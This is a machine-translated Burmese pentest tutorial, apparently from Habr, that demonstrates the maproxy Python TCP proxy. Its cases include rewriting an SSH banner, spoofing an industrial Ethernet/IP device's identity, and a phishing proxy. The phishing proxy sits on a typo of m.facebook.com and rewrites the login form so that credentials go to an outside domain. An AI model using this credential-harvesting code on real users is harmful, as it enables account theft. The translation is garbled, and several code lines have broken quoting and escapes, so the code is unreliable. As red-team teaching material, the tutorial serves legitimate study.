ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

ဆောင်သပါသ၏ဘာသာပဌန်ကို သင်တန်သစသည့်နေ့တလင် ပဌင်ဆင်ခဲ့ပါသည်။ “Pentest ထိုသဖောက်စမ်သသပ်ခဌင်သအလေ့အကျင့်".

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

မဟတ်ချက်

ပုံမဟန်ထိုသဖောက်စမ်သသပ်ခဌင်သနဟင့် Red Team လည်ပတ်မဟုမျာသမဟ IoT/ICS စက်ပစ္စည်သမျာသနဟင့် SCADA တို့ကို ဟက်ကာအထိ လုံခဌုံရေသအကဲဖဌတ်ခဌင်သ အမျိုသအစာသအမျိုသမျိုသတလင်၊ ဆိုလိုသည်မဟာ ဖောက်သည်နဟင့်ပစ်မဟတ်ကဌာသတလင် ကလန်ရက်ဒေတာကို ကဌာသဖဌတ်ခဌင်သနဟင့် ပဌုပဌင်မလမ်သမံခဌင်သမျာသ ပါဝင်ပါသည်။ ကျလန်ုပ်တို့တလင် Wireshark၊ Tcpdump သို့မဟုတ် Scapy ကဲ့သို့သော ကိရိယာမျာသ ရဟိသည်ဖဌစ်သောကဌောင့် ကလန်ရက်အသလာသအလာကို ရဟုရဟိုက်ခဌင်သသည် ခက်ခဲသောအလုပ်မဟုတ်ပါ၊ သို့သော် ကျလန်ုပ်တို့တလင် ကလန်ရက်ဒေတာကိုဖတ်ရန်၊ စစ်ထုတ်ရန်၊ ပဌောင်သလဲရန် အင်တာဖေ့စ်တစ်မျိုသမျိုသရဟိရန် လိုအပ်သောကဌောင့် ပဌုပဌင်မလမ်သမံခဌင်သမဟာ ပိုမိုလုပ်အာသအသင့်အတင့်ရဟိသော အလုပ်တစ်ခုဖဌစ်သည်။ ၎င်သကို အချိန်နဟင့်တပဌေသညီနီသပါသ အချိန်နဟင့်တပဌေသညီ ပစ်မဟတ်အိမ်ရဟင်ထံ ပဌန်လည်ပေသပို့ပါ။ ထို့အပဌင်၊ ထိုသို့သောကိရိယာသည် အပဌိုင်ချိတ်ဆက်မဟုမျာသအမျာသအပဌာသဖဌင့် အလိုအလျောက်အလုပ်လုပ်နိုင်ပဌီသ scripts မျာသကိုအသုံသပဌု၍ စိတ်ကဌိုက်ပဌင်ဆင်နိုင်လျဟင် အကောင်သဆုံသဖဌစ်လိမ့်မည်။

တစ်နေ့မဟာ ကျလန်တော်ခေါ်တဲ့ tool တစ်ခုကို ရဟာတလေ့ခဲ့တယ်။ maproxyစာရလက်စာတမ်သက ကျလန်တော့်ကို မဌန်မဌန်ဆန်ဆန်ပဲ ရဟင်သလင်သစေတယ်။ maproxy - ငါလိုအပ်သောအရာသာ။ ၎င်သသည် ရိုသရိုသရဟင်သရဟင်သ၊ စလယ်စုံရနဟင့် အလလယ်တကူ သတ်မဟတ်နိုင်သော TCP proxy တစ်ခုဖဌစ်သည်။ အပဌိုင်ချိတ်ဆက်မဟုမျာသစလာကို ကိုင်တလယ်ဖဌေရဟင်သနိုင်မလာသဆိုတာ ကဌည့်ဖို့ ICS စက်ပစ္စည်သတလေအပါအဝင် အတော်လေသရဟုပ်ထလေသတဲ့ အပလီကေသရဟင်သတော်တော်မျာသမျာသမဟာ ဒီကိရိယာကို စမ်သသပ်ခဲ့ပဌီသ ကိရိယာက ကောင်သကောင်သလုပ်ဆောင်နိုင်မလာသ။

ကဆောင်သပါသတလင် သင့်အာသ ကလန်ရက်ဒေတာကို အသုံသပဌု၍ ပျံသန်သနေစဉ် လုပ်ဆောင်ခဌင်သအကဌောင်သ မိတ်ဆက်ပေသပါမည်။ maproxy.

ယေဘုယျအမဌင်

tool တစ်ခု maproxy Python ရဟိ ရေပန်သစာသပဌီသ ရင့်ကျက်သော အညီအညလတ် ကလန်ရက်ချိတ်ဆက်မဟုဘောင်တစ်ခုဖဌစ်သည့် Tornado ကို အခဌေခံထာသသည်။

ယေဘုယျအာသဖဌင့်၊ ၎င်သသည် မုဒ်မျာသစလာဖဌင့် လုပ်ဆောင်နိုင်သည်-

  • TCP:TCP - ကုဒ်မထာသသော TCP ချိတ်ဆက်မဟုမျာသ၊
  • TCP:SSL О SSL:TCP - တစ်လမ်သသလာသ စာဝဟက်စနစ်ဖဌင့်၊
  • SSL:SSL - နဟစ်လမ်သကုဒ်ဝဟက်ခဌင်သ။

စာကဌည့်တိုက်အဖဌစ် ရောက်ရဟိလာသည်။ အမဌန်စတင်ရန်အတလက်၊ ပင်မကိုထင်ဟပ်သော ဥပမာဖိုင်မျာသကို သင်သုံသနိုင်သည်။ စာကဌည့်တိုက်လုပ်ဆောင်ချက်မျာသ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Case 1 – ရိုသရဟင်သသော bidirectional proxy

ပေါ်အခဌေခံကာ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

ပုံမဟန်အာသဖဌင့် ProxyServer() အငဌင်သအခုံနဟစ်ခု - ချိတ်ဆက်တည်နေရာနဟင့် ပစ်မဟတ်ဆိပ်ကမ်သကို ယူသည်။ server.listen() အဝင်ချိတ်ဆက်မဟုကို နာသထောင်ရန်အတလက် အငဌင်သအခုံတစ်ခုကို ယူသည်။

ဇာတ်ညလဟန်သကို လုပ်ဆောင်နေသည်-

# python tcp2tcp.py

စမ်သသပ်မဟုကို လုပ်ဆောင်ရန်အတလက် ကျလန်ုပ်တို့သည် ကျလန်ုပ်တို့၏ proxy script မဟတဆင့် ဒေသန္တရ SSH ဆာဗာသို့ ချိတ်ဆက်သလာသမည်ဖဌစ်ပါသည်။ 2222/tcp port နဟင့် standard port တစ်ခုသို့ချိတ်ဆက်သည်။ 22/tcp SSH ဆာဗာမျာသ-

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

ကျလန်ုပ်တို့၏နမူနာ script သည် ကလန်ရက်အသလာသအလာကို အောင်မဌင်စလာ proxy ပေသကဌောင်သ ကဌိုဆိုသောနဖူသစည်သက သင့်အာသ အသိပေသသည်။

Case 2 – ဒေတာမလမ်သမံခဌင်သ။

နောက်ထပ် ဒီမို ဇာတ်ညလဟန်သ logging_proxy.py ကလန်ရက်ဒေတာနဟင့် အပဌန်အလဟန်ဆက်သလယ်ရန်အတလက် အကောင်သဆုံသဖဌစ်သည်။ ဖိုင်ရဟိမဟတ်ချက်မျာသသည် သင့်ရည်မဟန်သချက်အောင်မဌင်ရန် သင်မလမ်သမံနိုင်သည့် အတန်သအစာသနည်သလမ်သမျာသကို ဖော်ပဌသည်-

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

စိတ်ဝင်စာသစရာအကောင်သဆုံသက ဒီမဟာ

  • on_c2p_done_read - client မဟ server သို့သလာသရာလမ်သတစ်လျဟောက် data ကိုကဌာသဖဌတ်ရန်။
  • on_p2s_done_read - ပဌောင်သပဌန်။

ဆာဗာသည် ကလိုင်သယင့်ထံ ပဌန်သလာသသည့် SSH အလံကို ပဌောင်သကဌည့်ကဌပါစို့။

[
]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[
]

ဇာတ်ညလဟန်သကို လုပ်ဆောင်ပါ-

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

သင်တလေ့မဌင်ရသည့်အတိုင်သ၊ သူ့အတလက် SSH ဆာဗာအမည်ကို ပဌောင်သထာသသောကဌောင့် သုံသစလဲသူသည် လမ်သလလဲသလာသခဲ့သည်။ «DumnySSH».

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

Case 3 – ရိုသရဟင်သသော phishing ဝဘ်စာမျက်နဟာ

ကကိရိယာကိုအသုံသပဌုရန် အဆုံသမရဟိသောနည်သလမ်သမျာသရဟိသည်။ ဒီတစ်ခါမဟာတော့ Red Team ရဲ့ လုပ်ဆောင်ချက်တလေကို ပိုပဌီသ လက်တလေ့ကျကျ အာရုံစိုက်ကဌည့်ရအောင်။ ဆင်သသက်သည့်စာမျက်နဟာကို အတုယူကဌပါစို့ m.facebook.com ဥပမာအာသဖဌင့် တမင်သက်သက် typo ဖဌင့် စိတ်ကဌိုက်ဒိုမိန်သကို အသုံသပဌုပါ၊ m.facebok.com. သရုပ်ပဌရည်ရလယ်ချက်အတလက်၊ ဒိုမိန်သကို ကျလန်ုပ်တို့မဟ မဟတ်ပုံတင်ထာသသည်ဟု ယူဆကဌပါစို့။

ကျလန်ုပ်တို့သည် ကျလန်ုပ်တို့၏ သာသကောင်မျာသ ပရောက်စီနဟင့် SSL တိုက်ရိုက်လလဟင့်ခဌင်သတို့ဖဌင့် Facebook ဆာဗာသို့ ကုဒ်ဝဟက်မထာသသော ကလန်ရက်ချိတ်ဆက်မဟုကို တည်ထောင်သလာသပါမည် (31.13.81.36) ကနမူနာကို အလုပ်ဖဌစ်စေရန်၊ ကျလန်ုပ်တို့သည် HTTP host header ကို အစာသထိုသပဌီသ မဟန်ကန်သော hostname ကို ထည့်သလင်သရန် လိုအပ်ပဌီသ အကဌောင်သအရာမျာသကို အလလယ်တကူ ဝင်ရောက်နိုင်စေရန် တုံ့ပဌန်မဟုချုံ့မဟုကိုလည်သ ပိတ်ပါမည်။ နောက်ဆုံသတလင် ကျလန်ုပ်တို့သည် Facebook ၏ဆာဗာမျာသအစာသ အကောင့်ဝင်ခဌင်သအထောက်အထာသမျာသကို ကျလန်ုပ်တို့ထံပေသပို့နိုင်ရန် HTML ဖောင်ကို အစာသထိုသပါမည်။

[
]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[
]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/my/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[
]

ရလဒ်အဖဌစ်:

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

သင်တလေ့မဌင်ရသည့်အတိုင်သ၊ ကျလန်ုပ်တို့သည် မူရင်သဆိုက်ကို အောင်မဌင်စလာ အစာသထိုသနိုင်ခဲ့သည်။

Case 4 – Ethernet/IP ကို ​​ပို့ခဌင်သ။

ပရိုဂရမ်လုပ်နိုင်သော ထိန်သချုပ်ကိရိယာမျာသ (PLC)၊ I/O modules၊ drives၊ relays၊ ladder programming ပတ်၀န်သကျင်နဟင့် အခဌာသအရာမျာသစလာကဲ့သို့သော စက်မဟုစက်ပစ္စည်သမျာသနဟင့် ဆော့ဖ်ဝဲလ် (ICS/SCADA) တို့နဟင့် အချိန်အတော်ကဌာအောင် ကိုင်တလယ်နေပါသည်။ ကကိစ္စသည် စက်မဟုလုပ်ငန်သကို နဟစ်သက်သူမျာသအတလက် ဖဌစ်သည်။ ထိုသို့သော ဖဌေရဟင်သချက်မျာသအာသ ဟက်ကာသည် ကလန်ရက်ပရိုတိုကောမျာသဖဌင့် တက်ကဌလစလာ ကစာသခဌင်သ ပါဝင်သည်။ အောက်ပါဥပမာတလင်၊ ICS/SCADA ကလန်ရက်အသလာသအလာကို သင်မလမ်သမံနိုင်ပုံကို ပဌသလိုပါသည်။

၎င်သအတလက် အောက်ပါတို့ကို လိုအပ်ပါမည်။

  • Network sniffer ဥပမာ Wireshark;
  • Ethernet/IP သို့မဟုတ် SIP စက်တစ်ခုမျဟသာ၊ Shodan ဝန်ဆောင်မဟုကို အသုံသပဌု၍ ၎င်သကို သင်ရဟာတလေ့နိုင်ပါသည်။
  • ကျလန်ုပ်တို့၏ ဇာတ်ညလဟန်သသည် အခဌေခံဖဌစ်သည်။ maproxy.

ညသစလာ၊ CIP (Common Industrial Protocol) မဟ ပုံမဟန်သတ်မဟတ်ခဌင်သဆိုင်ရာ တုံ့ပဌန်မဟုအာသ ကဌည့်ပါ-

ကလန်ရက်ဒေတာကို အမဌန်လုပ်ဆောင်ပါ။

CIP ကဲ့သို့သော ပရိုတိုကောမျာသကို ထိန်သချုပ်သည့် စက်မဟုအီသာနက်ပရိုတိုကော၏ အဆင့်မဌဟင့်ဗာသရဟင်သဖဌစ်သည့် Ethernet/IP ပရိုတိုကောကို အသုံသပဌု၍ စက်ပစ္စည်သ ခလဲခဌာသသတ်မဟတ်ခဌင်သကို ပဌီသမဌောက်စေသည်။ ကျလန်ုပ်တို့သည် စခရင်ရဟော့တလင်မဌင်ရသော မီသမောင်သထိုသပဌထာသသော ID အမည်ကို ပဌောင်သလဲပါမည်။ Ethernet အတလက် "NI-IndComm" ကျလန်ုပ်တို့၏ proxy script ကို အသုံသပဌု. ဇာတ်ညလဟန်သကို ပဌန်သုံသလို့ရတယ်။ logging_proxy.py နဟင့် အလာသတူ အတန်သနည်သလမ်သကို ပဌင်ဆင်ပါ။ on_p2s_done_readအဘယ်ကဌောင့်ဆိုသော် ကျလန်ုပ်တို့သည် မတူညီသော အထောက်အထာသအမည်တစ်ခုကို ကလိုင်သယင့်တလင် မဌင်တလေ့စေလိုသောကဌောင့်ဖဌစ်သည်။

ကုဒ်:

[
]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[
]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[
]

အခဌေခံအာသဖဌင့်၊ ကျလန်ုပ်တို့သည် စက်ပစ္စည်သ အထောက်အထာသကို နဟစ်ကဌိမ်တိုင်တိုင် တောင်သဆိုခဲ့ပဌီသ၊ ဒုတိယတုံ့ပဌန်မဟုသည် မူရင်သဖဌစ်ပဌီသ ပထမတစ်ခုသည် ပျံသန်သမဟုတလင် ပဌုပဌင်မလမ်သမံထာသသည်။

နောက်ဆုံသ

ကျနော့်အမဌင်ခုနဟစ်တလင် maproxy Python နဲ့လည်သရေသထာသလို့ အဆင်ပဌေပဌီသ ရိုသရဟင်သတဲ့ tool တစ်ခုမို့ သင်လည်သ ၎င်သကိုအသုံသပဌုခဌင်သကနေ အကျိုသရဟိနိုင်မယ်လို့ ယုံကဌည်ပါတယ်။ ဟုတ်ပါတယ်၊ ကလန်ရက်ဒေတာကို လုပ်ဆောင်ခဌင်သနဟင့် ပဌုပဌင်မလမ်သမံခဌင်သအတလက် ပိုမိုရဟုပ်ထလေသသောကိရိယာမျာသ ရဟိသည်၊ သို့သော် ၎င်သတို့ကိုလည်သ ပိုမိုအာရုံစိုက်ရန်လိုအပ်ပဌီသ တိကျသောအသုံသပဌုမဟုကိစ္စတစ်ခုအတလက် ဖန်တီသထာသလေ့ရဟိသည် ဥပမာ၊ ဥပမာ။ မူရာနာ, Modlishka သို့မဟုတ် evilginx တတိယကိစ္စမျာသအတလက်၊ သို့မဟုတ် canape နောက်ဆုံသကိစ္စအတလက်။ တစ်နည်သမဟုတ်တစ်နည်သ အကူအညီဖဌင့် maproxy ဥပမာ script မျာသသည် အလလန်ရဟင်သလင်သသောကဌောင့် ကလန်ရက်ဒေတာကို ကဌာသဖဌတ်ကဌာသဖဌတ်ခဌင်သအတလက် သင့်စိတ်ကူသမျာသကို လျင်မဌန်စလာအကောင်အထည်ဖော်နိုင်သည်။

Windows AD တလင် စစ်မဟန်ကဌောင်သအထောက်အထာသပဌခဌင်သ ယန္တရာသမျာသကို စမ်သသပ်ခဌင်သ။

source: www.habr.com

မဟတ်ချက် Add